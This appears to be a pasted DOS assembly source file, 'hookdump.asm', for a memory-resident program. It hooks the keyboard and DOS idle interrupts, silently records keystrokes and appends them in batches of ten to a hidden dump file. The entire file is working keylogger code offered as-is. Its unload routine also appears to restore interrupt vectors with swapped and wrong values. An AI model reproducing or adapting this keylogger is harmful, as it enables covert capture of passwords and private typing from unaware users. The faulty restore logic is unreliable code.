hookdump.asm 1.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143
  1. .286
  2. .model small
  3. .code
  4. org 100h
  5. start:
  6. mov ax, 4ch*4
  7. mov si, ax
  8. mov ax, 0
  9. mov es, ax
  10. mov ax, es:[si]
  11. cmp ax, 0FAC0h
  12. je UNLOAD
  13. mov old0x4Co, ax
  14. mov ax, es:[si+2]
  15. mov old0x4Cs, ax
  16. mov word ptr es:[si], 0FAC0h
  17. mov word ptr es:[si+2], cs
  18. mov ax, 3509h
  19. int 21h
  20. mov old0x9s, es
  21. mov old0x9o, bx
  22. mov ax, 3528h
  23. int 21h
  24. mov old0x28s, es
  25. mov old0x28o, bx
  26. mov ax, 2509h
  27. mov dx, offset NEW0x9
  28. int 21h
  29. mov ax, 2528h
  30. mov dx, offset NEW0x28
  31. int 21h
  32. mov ah, 31h
  33. mov dx, 50h
  34. int 21h
  35. UNLOAD: mov ax, es:[si+2]
  36. mov es, ax
  37. mov ax, 2509h
  38. mov ds, es:[offset old0x9o]
  39. mov dx, es:[offset old0x9s]
  40. int 21h
  41. mov ax, 2528h
  42. mov ds, es:[offset old0x9o]
  43. mov dx, es:[offset old0x9s]
  44. int 21h
  45. mov ax, es:[offset old0x4Co]
  46. mov bx, es:[offset old0x4Cs]
  47. mov cx, 0
  48. mov es, cx
  49. mov es:[4ch*4], ax
  50. mov es:[4ch*4+2], bx
  51. int 20h
  52. NEW0x9:
  53. pusha
  54. push es
  55. mov ax, 40h
  56. mov es, ax
  57. mov ax, es:[1ch]
  58. mov bx, ax
  59. pushf
  60. call dword ptr [old0x9o]
  61. mov ax, es:[1ch]
  62. cmp ax, bx
  63. je NOTNEWBUTT
  64. mov si, ax
  65. mov bx, cnt
  66. cmp si, 1ch
  67. jne OBLS
  68. mov dl, es:[3ch]
  69. jmp GGG
  70. OBLS: mov dl, es:[si-2]
  71. GGG: mov cs:buf[bx], dl
  72. inc cnt
  73. NOTNEWBUTT:
  74. cli
  75. mov al, 20h
  76. out 20h, al
  77. pop es
  78. popa
  79. iret
  80. NEW0x28:
  81. pusha
  82. push es
  83. pushf
  84. call dword ptr [old0x28o]
  85. cmp cnt, 10
  86. jne SHIT
  87. mov cnt, 0
  88. push ds
  89. push cs
  90. pop ds
  91. mov ax, 3d02h
  92. mov dx, offset fname
  93. int 21h
  94. jc create
  95. jmp cool
  96. create:
  97. mov ah, 3ch
  98. mov cx, 0
  99. mov dx, offset fname
  100. int 21h
  101. cool:
  102. mov bx, ax
  103. mov ah, 42h
  104. mov al, 2
  105. mov cx, 0
  106. mov dx, 0
  107. int 21h
  108. mov ah, 40h
  109. mov cx, 10
  110. mov dx, offset buf
  111. int 21h
  112. mov ah, 3eh
  113. int 21h
  114. pop ds
  115. SHIT:
  116. pop es
  117. popa
  118. iret
  119. old0x9o dw 0
  120. old0x9s dw 0
  121. old0x28o dw 0
  122. old0x28s dw 0
  123. OLD0x4Co dw 0
  124. OLD0x4Cs dw 0
  125. cnt dw 0
  126. buf db 10 dup (?)
  127. fname db 'fuck.dmp',0
  128. end start